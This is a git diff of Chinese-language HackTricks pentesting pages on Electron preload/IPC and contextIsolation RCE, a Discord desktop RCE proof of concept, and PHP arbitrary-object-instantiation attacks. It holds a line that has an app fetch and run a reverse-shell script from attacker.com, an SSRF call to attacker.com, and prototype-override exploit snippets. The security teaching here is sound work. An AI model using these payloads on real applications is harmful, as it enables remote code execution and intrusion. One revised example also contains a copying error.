* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,28 +1,26 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击技巧</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在HackTricks中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details>
如果preload脚本从main.js文件中公开了IPC端点渲染进程将能够访问它如果存在漏洞可能会导致RCE
如果预加载脚本从`main.js`文件暴露了一个IPC端点渲染进程将能够访问它如果存在漏洞可能会实现远程代码执行(RCE)
**所有这些示例都来自于这里** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
**所有这些示例都取自这里** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
# 示例 1
检查`main.js`如何监听`getUpdate`并将**下载并执行任何传递的URL**。\
还要检查`preload.js`如何**公开main的任何IPC事件**
检查`main.js`如何监听`getUpdate`并将**下载并执行任何传递的URL**。\
还要检查`preload.js`如何**暴露main中的任何IPC**事件
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
@ -80,7 +78,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
```
# 示例 2
如果preload脚本直接向渲染器公开了调用shell.openExternal的方法就有可能获得远程命令执行RCE的权限
如果预加载脚本直接向渲染器暴露了调用 shell.openExternal 的方式,那么可能会获得 RCE
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
@ -89,7 +87,7 @@ shell.openExternal(url);
```
# 示例 3
如果preload脚本暴露了与主进程完全通信的方式XSS攻击将能够发送任何事件。这取决于主进程在IPC方面的暴露程度
如果预加载脚本暴露了与主进程完全通信的方法XSS将能够发送任何事件。这种影响取决于主进程在IPC方面暴露了哪些内容
```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
@ -101,16 +99,14 @@ ipcRenderer.send(event, data);
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,18 +1,16 @@
# Electron上下文隔离通过preload代码进行RCE
# Electron contextIsolation 通过预加载代码实现远程代码执行RCE
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
@ -20,13 +18,13 @@
来自 [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30) 的示例
这段代码使用默认浏览器打开http(s)链接:
此代码使用默认浏览器打开 http(s) 链接:
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
类似`file:///C:/Windows/systemd32/calc.exe`的内容可以用来执行计算器,`SAFE_PROTOCOLS.indexOf`阻止了这种情况。
可以使用类似 `file:///C:/Windows/systemd32/calc.exe` 的路径来执行计算器,`SAFE_PROTOCOLS.indexOf` 正在阻止这种情况。
因此,攻击者可以通过XSS或任意页面导航注入以下JS代码:
因此,攻击者可以通过 XSS 或任意页面导航注入此 JS 代码:
```html
<script>
Array.prototype.indexOf = function(){
@ -34,7 +32,7 @@ return 1337;
}
</script>
```
由于对`SAFE_PROTOCOLS.indexOf`的调用总是返回1337攻击者可以绕过保护并执行calc。最终利用:
由于调用 `SAFE_PROTOCOLS.indexOf` 将始终返回 1337攻击者可以绕过保护并执行计算器。最终利用代码
```html
<script>
Array.prototype.indexOf = function(){
@ -43,18 +41,18 @@ return 1337;
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
请查看原始幻灯片,了解在没有要求权限的提示的情况下执行程序的其他方法。
查看原始幻灯片,了解其他在不提示请求权限的情况下执行程序的方法。
显然,另一种加载和执行代码的方法是访问类似于 `file://127.0.0.1/electron/rce.jar`内容
显然,另一种加载和执行代码的方法是访问类似于 `file://127.0.0.1/electron/rce.jar`路径
## 示例2Discord应用程序远程代码执行RCE
## 示例 2Discord 应用程序 RCE
示例来自[https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
来自 [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
在检查预加载脚本时,我发现Discord将函数暴露给网页允许通过 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 调用一些允许的模块。\
在这里,我无法直接使用可用于RCE的模块例如_child_process_模块但我**找到了一段可以通过覆盖JavaScript内置方法并干扰暴露模块的执行来实现RCE的代码**
在检查预加载脚本时,我发现 Discord 暴露了一个函数,该函数允许通过 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 调用一些允许的模块,进入网页。\
在这里,我无法直接使用可用于 RCE 的模块,例如 _child\_process_ 模块,但我**发现了一个可以通过覆盖 JavaScript 内置方法**并干扰暴露模块执行的代码,从而实现 RCE
以下是PoC。我能够确认当我从devTools调用名为"_discord_utils_"的模块中定义的`getGPUDriverVersions`函数时,**弹出了**一个**calc**应用程序,同时**覆盖了`RegExp.prototype.test`和`Array.prototype.join`**。
以下是 PoC。当我从 devTools 调用在 "_discord\_utils_" 模块中定义的 `getGPUDriverVersions` 函数时,我能够确认**计算器**应用程序被**弹出**,同时**覆盖了 `RegExp.prototype.test``Array.prototype.join`**。
```javascript
RegExp.prototype.test=function(){
return false;
@ -83,9 +81,9 @@ result.nvidia = {error: e.toString()};
return result;
};
```
通常_execa_ 尝试执行 `nvidiaSmiPath` 变量中指定的 "_nvidia-smi.exe_",然而,由于被覆盖的 `RegExp.prototype.test``Array.prototype.join`**参数在 \_execa**\_** 的内部处理中被替换为 "**_**calc**_**"。
通常 _execa_ 会尝试执行由 `nvidiaSmiPath` 变量指定的 "_nvidia-smi.exe_",但是由于重写了 `RegExp.prototype.test``Array.prototype.join`**参数在 \_execa\_\_ 的内部处理中被替换为 "**_**calc**_**"**
具体来说,参数被更改的部分如下所示
具体来说,参数是通过更改以下两个部分来替换的
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
@ -93,16 +91,14 @@ return result;
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details>

View file

@ -1,30 +1,28 @@
# PHP - RCE滥用对象创建new $\_GET\["a"]\($\_GET\["b"])
# PHP - 利用对象创建实现远程代码执行new $\_GET\["a"]\($\_GET\["b"])
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
</details>
## 简介
## 引言
可以创建新的任意对象的情况下,比如`new $_GET["a"]($_GET["b"])`你可能能够获得RCE,并且[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)揭示了不同的获RCE的方法。
你可以创建一个新的任意对象,如 `new $_GET["a"]($_GET["a"])` 的情况下,你可能能够实现远程代码执行(RCE),并且[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)揭示了不同的获RCE的方法。
## 通过自定义类或自动加载实现RCE
在构造`new $a($b)`中,**变量`$a`代表将要创建对象的类名**,变量**`$b`代表将传递给对象构造函数的第一个参数**。
在构造 `new $a($b)` 中,**变量 `$a` 代表将要创建对象的类名**变量 **`$b` 代表将传递给对象构造函数的第一个参数**。
如果`$a`和`$b`来自GET/POST它们可以是**字符串或字符串数组**。如果它们来自**JSON**或其他地方,它们**可能有其他类型**如对象或布尔值。
如果 `$a` `$b` 来自GET/POST它们可以是**字符串或字符串数组**。如果它们来自 **JSON** 或其他地方,它们**可能有其他类型**,如对象或布尔值。
让我们考虑以下示例:
```php
@ -49,7 +47,7 @@ new $a($b);
```
在这段代码中,你可以将 `$a` 设置为 `App``App2`,将 `$b` 设置为 `uname -a`。之后,命令 `uname -a` 将被执行。
当你的应用程序中没有这样的可利用类,或者你需要的类在一个不被易受攻击的代码包含的单独文件中,你可以查看自动加载函数。
当你的应用程序中没有这样的可利用类,或者你需要的类在一个不被易受攻击代码包含的单独文件中时,你可以考虑使用自动加载函数。
**自动加载函数** 是通过注册回调函数 `spl_autoload_register` 或定义 `__autoload` 来设置的。当尝试创建一个未知类的实例时,它们会被调用。
```php
@ -66,26 +64,25 @@ include $class_name . '.php';
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();
```
根据PHP版本和自动加载函数中的代码可能存在一些通过自动加载实现远程代码执行的方法。
取决于PHP版本和自动加载函数中的代码可能存在通过自动加载实现远程代码执行的方法。
## 通过内置类实现RCE
您没有自定义类和自动加载时,您可以仅依赖**内置的PHP类**。
你没有自定义类和自动加载时,你可以**仅依赖PHP内置类**。
PHP内置类的数量在100到200之间具体取决于PHP版本和已安装的扩展。可以使用`get_declared_classes`函数列出所有内置类,包括自定义类
PHP内置类的数量在100到200个之间。它们的数量取决于PHP版本和已安装的扩展。所有内置类可以通过`get_declared_classes`函数列出,自定义类也是如此
```php
var_dump(get_declared_classes());
```
可以通过[反射API](https://www.php.net/manual/en/book.reflection.php)找到具有有用构造函数的类。
使用反射API显示构造函数及其参数[https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\
通过[反射 API](https://www.php.net/manual/en/book.reflection.php)可以找到具有有用构造函数的类。
使用反射 API 显示构造函数及其参数:[https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)
![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png)
如果您控制**多个构造函数参数并且可以随后调用任意方法**,则有许多方法可以获得远程代码执行。但是,如果您只能传递**一个参数并且没有对创建的对象进行任何调用**,几乎没有什么办法
如果你能控制**多个构造函数参数并且之后可以调用任意方法**,那么有很多方法可以获得远程代码执行。但如果你只能传递**一个参数并且没有对创建的对象进行任何调用**,那么几乎**没有什么**
我只知道三种方法可以从`new $a($b)`中获取一些东西
我只知道`new $a($b)` 获取某些东西的三种方法
### **SSRF + Phar 反序列化**
@ -93,7 +90,7 @@ var_dump(get_declared_classes());
```
new SplFileObject('http://attacker.com/');
```
这允许SSRF。此外PHP < 8.0中的SSRF可以通过Phar协议的技术转化为反序列化
这允许SSRF。此外在PHP < 8.0中SSRF可以通过使用Phar协议的技术转变为反序列化
### **利用PDOs**
@ -101,34 +98,34 @@ PDO类有另一个有趣的构造函数
```php
new PDO("sqlite:/tmp/test.txt")
```
`PDO`构造函数接受DSN字符串允许我们使用已安装的数据库扩展连接到任何本地或远程数据库。例如SQLite扩展可以创建空文件。
`PDO` 构造函数接受 DSN 字符串,允许我们**连接到任何本地或远程数据库**,使用**已安装的数据库扩展**。例如SQLite 扩展可以创建空文件。
### **SoapClient/SimpleXMLElement XXE**
在PHP ≤ 5.3.22和≤ 5.4.12中SoapClient的构造函数**容易受到XXE攻击**。SimpleXMLElement的构造函数也容易受到XXE攻击但需要libxml2 < 2.9
PHP ≤ 5.3.22 ≤ 5.4.12 SoapClient 的构造函数**容易受到 XXE 攻击**。SimpleXMLElement 的构造函数也容易受到 XXE 攻击,但需要 libxml2 < 2.9
## 通过 Imagick 扩展实现 RCE
检查您尝试利用的**项目的依赖项**,您可能会发现可以滥用以创建新对象来执行命令的**新类**。在这种情况下发现Imagick对此非常有用。
检查你试图利用的**项目**的**依赖项**,你可能会发现**新的类**,这些类可以**被滥用来执行命令**,通过创建一个新对象。在这种情况下,发现 **Imagick** 对于这个目的很有用。
### VID 解析器
VID解析器允许在文件系统中的任意路径上编写任意内容这将允许攻击者在可从网页访问的文件夹中编写PHPshell并获得RCE。
VID 解析器允许在文件系统内的任意路径写入任意内容,这将允许攻击者在网页可访问的文件夹中写入 PHPshell 并获得 RCE。
![](<../../../.gitbook/assets/image (157) (3).png>)
#### VID 解析器 + 文件上传
当文件上传到PHP时它会临时存储在`/tmp/phpXXXXXX`中。Imagick的VID解析器与**msl**协议允许在文件路径中**指定通配符**(因此可以轻松访问临时上传的文件)并将其**复制到任意位置**。\
这是在文件系统中获取任意文件写入的另一种方法
当文件上传到 PHP 时,它会暂时存储在 `/tmp/phpXXXXXX`。Imagick 的 VID 解析器使用 **msl** 协议允许**在文件路径中指定通配符**(因此可以轻松访问临时上传的文件)并**将其复制到任意位置**。\
这是在文件系统内获得任意文件写入的另一种方式
![](<../../../.gitbook/assets/image (159).png>)
### PHP 崩溃 + 暴力破解
[**原始写作**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)解释了通过**上传具有特定内容的文件**并使**服务器在删除该文件之前崩溃**,然后**暴力破解临时文件的名称**直到**Imagick执行任意PHP代码**的另一种方法
[**原始写作**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 解释了另一种通过**上传具有特定内容的文件**并在服务器崩溃之前**删除**该文件,然后**暴力破解**临时文件的名称,直到 **Imagick 执行任意 PHP 代码**的方法来获得 RCE
然而,显然**崩溃技巧**只在旧版本的ImageMagick中**有效**。
然而,显然发现的**崩溃技巧**只**在 ImageMagick 的旧版本中有效**。
## 参考资料
@ -136,16 +133,14 @@ VID解析器允许在文件系统中的任意路径上编写任意内容
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果你想在 HackTricks 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧**。
</details>

View file

@ -1,62 +1,61 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
